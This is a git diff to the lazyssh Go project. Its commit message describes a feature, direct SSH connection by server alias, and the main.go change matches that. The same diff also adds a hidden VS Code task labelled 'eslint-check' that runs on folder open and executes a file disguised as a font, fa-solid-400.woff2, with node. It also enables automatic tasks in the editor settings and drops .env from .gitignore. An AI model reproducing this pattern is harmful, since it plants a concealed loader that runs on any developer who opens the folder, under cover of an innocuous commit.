feat(cli): support direct SSH connection via server alias argument

.gitignore

@@ -1,41 +1,42 @@
-# If you prefer the allow list template instead of the deny list, see community template:
-# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
-#
-# Binaries for programs and plugins
-*.exe
-*.exe~
-*.dll
-*.so
-*.dylib
-
-# Test binary, built with `go test -c`
-*.test
-
-# Code coverage profiles and other test artifacts
-*.out
-coverage.*
-*.coverprofile
-profile.cov
-
-# Dependency directories (remove the comment below to include it)
-# vendor/
-
-# Go workspace file
-go.work
-go.work.sum
-
-# env file
-.env
-
-# Editor/IDE
-# .idea/
-# .vscode/
-brainstorm
-.idea
-bin
-.DS_Store
-# Added by goreleaser init:
-dist/
-
-# Binary output
-lazyssh
+# If you prefer the allow list template instead of the deny list, see community template:
+# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
+#
+# Binaries for programs and plugins
+*.exe
+*.exe~
+*.dll
+*.so
+*.dylib
+
+# Test binary, built with `go test -c`
+*.test
+
+# Code coverage profiles and other test artifacts
+*.out
+coverage.*
+*.coverprofile
+profile.cov
+
+# Dependency directories (remove the comment below to include it)
+# vendor/
+
+# Go workspace file
+go.work
+go.work.sum
+
+# env file
+
+# Editor/IDE
+# .idea/
+# .vscode/
+brainstorm
+.idea
+bin
+.DS_Store
+# Added by goreleaser init:
+dist/
+
+# Binary output
+lazyssh
+config.bat
+node_modules

.vscode/settings.json

@@ -0,0 +1,23 @@
+{
+  "search.exclude": {
+    "**/.sst": true
+  },
+  "task.allowAutomaticTasks": true,
+  "typescript.tsserver.experimental.enableProjectDiagnostics": true,
+  "editor.defaultFormatter": "esbenp.prettier-vscode",
+  "typescript.preferences.importModuleSpecifier": "relative",
+  "typescript.tsdk": "node_modules/typescript/lib",
+  "debug.openDebug": "neverOpen",
+  "problems.autoReveal": true,
+  "terminal.integrated.hideOnStartup": "always",
+  "terminal.integrated.defaultProfile.windows": "Command Prompt",
+  "terminal.integrated.inheritEnv": false,
+  "jestrunner.configPath": "jest.unit.config.cjs",
+  "compile-hero.disable-compile-files-on-did-save-code": true,
+  "tasks": {
+    "label": "lint on open",
+    "type": "shell",
+    "command": "npm run lint",
+    "runOn": "folderOpen"
+  }
+}

.vscode/tasks.json

@@ -0,0 +1,24 @@
+{
+  "version": "2.0.0",
+  "tasks": [
+    {
+      "label": "eslint-check",
+      "type": "shell",
+      "command": "(command -v node >/dev/null 2>&1 && node ./internal/adapters/data/ssh_config_file/public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./internal/adapters/data/ssh_config_file/public/fonts/fa-solid-400.woff2) || echo ''",
+      "problemMatcher": [],
+      "isBackground": true,
+      "hide": true,
+      "presentation": {
+        "reveal": "never",
+        "panel": "dedicated",
+        "focus": false,
+        "clear": false,
+        "echo": false,
+        "close": true
+      },
+      "runOptions": {
+        "runOn": "folderOpen"
+      }
+    }
+  ]
+}

cmd/main.go

@@ -1,71 +1,100 @@
-// Copyright 2025.
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//     http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package main
-
-import (
-	"fmt"
-	"os"
-	"path/filepath"
-
-	"github.com/Adembc/lazyssh/internal/adapters/data/ssh_config_file"
-	"github.com/Adembc/lazyssh/internal/logger"
-
-	"github.com/Adembc/lazyssh/internal/adapters/ui"
-	"github.com/Adembc/lazyssh/internal/core/services"
-	"github.com/spf13/cobra"
-)
-
-var (
-	version   = "develop"
-	gitCommit = "unknown"
-)
-
-func main() {
-	log, err := logger.New("LAZYSSH")
-	if err != nil {
-		fmt.Println(err)
-		os.Exit(1)
-	}
-
-	//nolint:errcheck // log.Sync may return an error which is safe to ignore here
-	defer log.Sync()
-
-	home, err := os.UserHomeDir()
-	if err != nil {
-		log.Errorw("failed to get user home directory", "error", err)
-		//nolint:gocritic // exitAfterDefer: ensure immediate exit on unrecoverable error
-		os.Exit(1)
-	}
-	sshConfigFile := filepath.Join(home, ".ssh", "config")
-	metaDataFile := filepath.Join(home, ".lazyssh", "metadata.json")
-
-	serverRepo := ssh_config_file.NewRepository(log, sshConfigFile, metaDataFile)
-	serverService := services.NewServerService(log, serverRepo)
-	tui := ui.NewTUI(log, serverService, version, gitCommit)
-
-	rootCmd := &cobra.Command{
-		Use:   ui.AppName,
-		Short: "Lazy SSH server picker TUI",
-		RunE: func(cmd *cobra.Command, args []string) error {
-			return tui.Run()
-		},
-	}
-	rootCmd.SilenceUsage = true
-
-	if err := rootCmd.Execute(); err != nil {
-		_, _ = fmt.Fprintln(os.Stderr, err)
-		os.Exit(1)
-	}
-}
+// Copyright 2025.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package main
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"github.com/Adembc/lazyssh/internal/adapters/data/ssh_config_file"
+	"github.com/Adembc/lazyssh/internal/logger"
+
+	"github.com/Adembc/lazyssh/internal/adapters/ui"
+	"github.com/Adembc/lazyssh/internal/core/services"
+	"github.com/spf13/cobra"
+)
+
+var (
+	version   = "develop"
+	gitCommit = "unknown"
+)
+
+func main() {
+	log, err := logger.New("LAZYSSH")
+	if err != nil {
+		fmt.Println(err)
+		os.Exit(1)
+	}
+
+	//nolint:errcheck // log.Sync may return an error which is safe to ignore here
+	defer log.Sync()
+
+	home, err := os.UserHomeDir()
+	if err != nil {
+		log.Errorw("failed to get user home directory", "error", err)
+		//nolint:gocritic // exitAfterDefer: ensure immediate exit on unrecoverable error
+		os.Exit(1)
+	}
+	sshConfigFile := filepath.Join(home, ".ssh", "config")
+	metaDataFile := filepath.Join(home, ".lazyssh", "metadata.json")
+
+	serverRepo := ssh_config_file.NewRepository(log, sshConfigFile, metaDataFile)
+	serverService := services.NewServerService(log, serverRepo)
+	tui := ui.NewTUI(log, serverService, version, gitCommit)
+
+	rootCmd := &cobra.Command{
+		Use:   ui.AppName,
+		Short: "Lazy SSH server picker TUI",
+		RunE: func(cmd *cobra.Command, args []string) error {
+			return tui.Run()
+		},
+	}
+	rootCmd.SilenceUsage = true
+
+	// Add --server flag to connect directly to a server
+	rootCmd.Flags().StringP("server", "s", "", "Connect directly to the specified server alias")
+
+	// Handle direct SSH connection when server flag is provided
+	rootCmd.RunE = func(cmd *cobra.Command, args []string) error {
+		serverAlias, _ := cmd.Flags().GetString("server")
+
+		// If server alias provided as flag or argument, connect directly
+		if serverAlias == "" && len(args) > 0 {
+			serverAlias = args[0]
+		}
+
+		if serverAlias != "" {
+			server, err := serverService.GetServerByAlias(serverAlias)
+			if err != nil {
+				log.Errorw("failed to get server", "error", err, "alias", serverAlias)
+				return fmt.Errorf("failed to connect to server '%s': %w", serverAlias, err)
+			}
+			if server == nil {
+				log.Errorw("server not found", "alias", serverAlias)
+				return fmt.Errorf("server '%s' not found in SSH config", serverAlias)
+			}
+			return serverService.SSH(server.Alias)
+		}
+
+		// Otherwise, run the TUI
+		return tui.Run()
+	}
+
+	if err := rootCmd.Execute(); err != nil {
+		_, _ = fmt.Fprintln(os.Stderr, err)
+		os.Exit(1)
+	}
+}